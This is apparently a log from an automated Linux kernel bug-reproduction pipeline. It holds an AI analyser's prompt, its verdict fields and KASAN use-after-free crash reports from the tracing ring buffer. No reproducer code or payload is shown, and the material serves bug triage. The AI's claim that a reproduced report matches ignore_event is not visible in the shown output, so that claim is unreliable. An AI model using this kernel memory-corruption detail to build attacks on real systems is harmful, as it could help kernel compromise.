ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
^
ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
TruncatedStraceOutput:]
|
| 164/3 |
2026/08/12 02:44 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproducer successfully triggered the expected use-after-free bug. While the initial crash report in the console output points to `print_trace_line` or `string` instead of `ignore_event`, the underlying root cause is identical. Both the original and reproduced crashes occur during `tracing_read_pipe` when accessing trace event data that has been freed by a concurrent ring buffer resize or subbuf order change (`ring_buffer_subbuf_order_set` -> `free_buffer_page`). In fact, one of the KASAN reports in the reproduced output explicitly matches `ignore_event` at `kernel/trace/trace.c:2526`. The slight variation in the exact crashing function is expected since the freed ring buffer page is accessed by various formatting functions during the read operation. The title matches and the reproduction is successful. ProbePassed:false TerminalError: TitleMatches:true]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: use-after-free Read in ignore_event
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
Read of size 2 at addr ffff88804705a1ac by task syz.6.1383/11771
CPU: 0 UID: 0 PID: 11771 Comm: syz.6.1383 Tainted: G S syzkaller #0 PREEMPT(full)
Tainted: [S]=CPU_OUT_OF_SPEC
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356
trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18
print_trace_fmt kernel/trace/trace.c:3071 [inline]
print_trace_line+0x97d/0x1790 kernel/trace/trace.c:3237
tracing_read_pipe+0x586/0xd60 kernel/trace/trace.c:5444
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f48cdd9e019
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f48cebb5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f48ce025fa0 RCX: 00007f48cdd9e019
RDX: 0000000000002000 RSI: 0000200000001000 RDI: 0000000000000003
RBP: 00007f48cde3500c R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f48ce026038 R14: 00007f48ce025fa0 R15: 00007ffe7508fde8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4705a
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000000000 ffffea00009a6048 ffffea00007bac08 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 9023, tgid 9022 (syz.6.770), ts 304966657874, free_ts 587151444439
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
__alloc_pages_noprof+0xb/0x110 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data+0x60/0x160 kernel/trace/ring_buffer.c:427
__rb_allocate_pages+0xbd5/0x10a0 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x6df/0x1e80 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer.part.0+0x52/0x1f0 kernel/trace/trace.c:4738
__tracing_resize_ring_buffer kernel/trace/trace.c:4732 [inline]
tracing_update_buffers+0xd4/0xf0 kernel/trace/trace.c:4977
event_enable_write+0x23f/0x340 kernel/trace/trace_events.c:1926
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 11775 tgid 11774 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88804705a080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff88804705a180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff88804705a200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
IsProbe: false
Reproduced: true
Console Output: [ 152.687750][ T5916] do_syscall_64+0x174/0x580
[ 152.691052][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.694850][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 152.699096][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 152.702516][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 152.705209][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 152.708810][ T5916] vfs_write+0x296/0xba0
[ 152.711504][ T5916] ksys_write+0x150/0x270
[ 152.713251][ T5916] do_syscall_64+0x174/0x580
[ 152.716382][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.720387][ T5916]
[ 152.721988][ T5916] Memory state around the buggy address:
[ 152.725584][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.728732][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.732573][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.737404][ T5916] ^
[ 152.740026][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.745029][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.748173][ T5916] ==================================================================
[ 152.758523][ T5916] ==================================================================
[ 152.763341][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 152.767035][ T5916] Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
[ 152.771840][ T5916]
[ 152.773213][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 152.773231][ T5916] Tainted: [B]=BAD_PAGE
[ 152.773236][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 152.773244][ T5916] Call Trace:
[ 152.773251][ T5916] <TASK>
[ 152.773257][ T5916] dump_stack_lvl+0xe8/0x150
[ 152.773282][ T5916] print_address_description+0x55/0x1e0
[ 152.773301][ T5916] ? string+0x216/0x2d0
[ 152.773317][ T5916] print_report+0x58/0x70
[ 152.773331][ T5916] kasan_report+0x117/0x150
[ 152.773355][ T5916] ? string+0x216/0x2d0
[ 152.773386][ T5916] string+0x216/0x2d0
[ 152.773412][ T5916] vsnprintf+0x74a/0xef0
[ 152.773448][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 152.773472][ T5916] trace_seq_vprintf+0xd7/0x220
[ 152.773499][ T5916] trace_event_printf+0x110/0x170
[ 152.773519][ T5916] ? add_taint+0x9a/0xe0
[ 152.773541][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 152.773564][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 152.773591][ T5916] trace_raw_output_lock+0x99/0xd0
[ 152.773609][ T5916] tracing_read_pipe+0x568/0xb50
[ 152.773639][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 152.773654][ T5916] vfs_read+0x213/0xa80
[ 152.773677][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 152.773693][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 152.773710][ T5916] ? __fget_files+0x2a/0x420
[ 152.773735][ T5916] ? __fget_files+0x3a2/0x420
[ 152.773751][ T5916] ? __fget_files+0x2a/0x420
[ 152.773781][ T5916] ksys_read+0x150/0x270
[ 152.773800][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 152.773816][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773829][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773842][ T5916] ? rcu_is_watching+0x15/0xb0
[ 152.773857][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773870][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773884][ T5916] do_syscall_64+0x174/0x580
[ 152.773896][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773910][ T5916] ? clear_bhb_loop+0x40/0x90
[ 152.773931][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773943][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 152.773959][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 152.773969][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 152.773984][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 152.773992][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 152.774000][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 152.774006][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 152.774013][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 152.774048][ T5916] </TASK>
[ 152.774054][ T5916]
[ 152.927884][ T5916] The buggy address belongs to the physical page:
[ 152.931347][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 152.937798][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 152.942543][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 152.947923][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 152.953555][ T5916] page dumped because: kasan: bad access detected
[ 152.956834][ T5916] page_owner tracks the page as freed
[ 152.959443][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 152.969545][ T5916] post_alloc_hook+0x1f9/0x250
[ 152.971641][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 152.975299][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 152.979015][ T5916] __alloc_pages_noprof+0x10/0x100
[ 152.982222][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 152.985416][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 152.988764][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 152.991028][ T5916] tracing_update_buffers+0x7b/0xb0
[ 152.993090][ T5916] system_enable_write+0x17e/0x350
[ 152.995779][ T5916] vfs_write+0x296/0xba0
[ 152.998607][ T5916] ksys_write+0x150/0x270
[ 153.001386][ T5916] do_syscall_64+0x174/0x580
[ 153.004336][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.008100][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 153.011997][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 153.014601][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 153.020235][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.023167][ T5916] vfs_write+0x296/0xba0
[ 153.026264][ T5916] ksys_write+0x150/0x270
[ 153.027923][ T5916] do_syscall_64+0x174/0x580
[ 153.030775][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.035027][ T5916]
[ 153.036626][ T5916] Memory state around the buggy address:
[ 153.040196][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.045158][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.050360][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.054924][ T5916] ^
[ 153.058653][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.064067][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.068525][ T5916] ==================================================================
[ 153.078692][ T5916] ==================================================================
[ 153.083903][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 153.088062][ T5916] Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
[ 153.093749][ T5916]
[ 153.094693][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 153.094713][ T5916] Tainted: [B]=BAD_PAGE
[ 153.094717][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 153.094725][ T5916] Call Trace:
[ 153.094732][ T5916] <TASK>
[ 153.094738][ T5916] dump_stack_lvl+0xe8/0x150
[ 153.094762][ T5916] print_address_description+0x55/0x1e0
[ 153.094782][ T5916] ? string+0x216/0x2d0
[ 153.094797][ T5916] print_report+0x58/0x70
[ 153.094813][ T5916] kasan_report+0x117/0x150
[ 153.094838][ T5916] ? string+0x216/0x2d0
[ 153.094866][ T5916] string+0x216/0x2d0
[ 153.094893][ T5916] vsnprintf+0x74a/0xef0
[ 153.094929][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 153.094954][ T5916] trace_seq_vprintf+0xd7/0x220
[ 153.094983][ T5916] trace_event_printf+0x110/0x170
[ 153.095003][ T5916] ? add_taint+0x9a/0xe0
[ 153.095023][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 153.095046][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 153.095073][ T5916] trace_raw_output_lock+0x99/0xd0
[ 153.095090][ T5916] tracing_read_pipe+0x568/0xb50
[ 153.095159][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 153.095172][ T5916] vfs_read+0x213/0xa80
[ 153.095196][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 153.095211][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 153.095227][ T5916] ? __fget_files+0x2a/0x420
[ 153.095251][ T5916] ? __fget_files+0x3a2/0x420
[ 153.095276][ T5916] ? __fget_files+0x2a/0x420
[ 153.095305][ T5916] ksys_read+0x150/0x270
[ 153.095323][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 153.095339][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095353][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095366][ T5916] ? rcu_is_watching+0x15/0xb0
[ 153.095380][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095394][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095411][ T5916] do_syscall_64+0x174/0x580
[ 153.095425][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095438][ T5916] ? clear_bhb_loop+0x40/0x90
[ 153.095457][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095469][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 153.095486][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 153.095496][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 153.095510][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 153.095518][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 153.095526][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 153.095533][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 153.095541][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 153.095573][ T5916] </TASK>
[ 153.095579][ T5916]
[ 153.255910][ T5916] The buggy address belongs to the physical page:
[ 153.259925][ T5916] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 153.266529][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 153.269342][ T5916] raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
[ 153.274852][ T5916] raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
[ 153.279959][ T5916] page dumped because: kasan: bad access detected
[ 153.283871][ T5916] page_owner tracks the page as allocated
[ 153.287006][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
[ 153.299739][ T5916] post_alloc_hook+0x1f9/0x250
[ 153.302001][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 153.305613][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 153.309215][ T5916] __alloc_pages_noprof+0x10/0x100
[ 153.312460][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 153.315966][ T5916] ring_buffer_subbuf_order_set+0x45d/0x14b0
[ 153.318997][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.321056][ T5916] vfs_write+0x296/0xba0
[ 153.323975][ T5916] ksys_write+0x150/0x270
[ 153.327212][ T5916] do_syscall_64+0x174/0x580
[ 153.330310][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.334237][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 153.337065][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 153.339108][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 153.341673][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.344377][ T5916] vfs_write+0x296/0xba0
[ 153.347648][ T5916] ksys_write+0x150/0x270
[ 153.350697][ T5916] do_syscall_64+0x174/0x580
[ 153.353928][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.358103][ T5916]
[ 153.359703][ T5916] Memory state around the buggy address:
[ 153.363390][ T5916] ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.368718][ T5916] ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.371749][ T5916] >ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.376834][ T5916] ^
[ 153.380840][ T5916] ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.386122][ T5916] ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.391361][ T5916] ==================================================================
Strace Output:
Crash Report: ==================================================================
BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
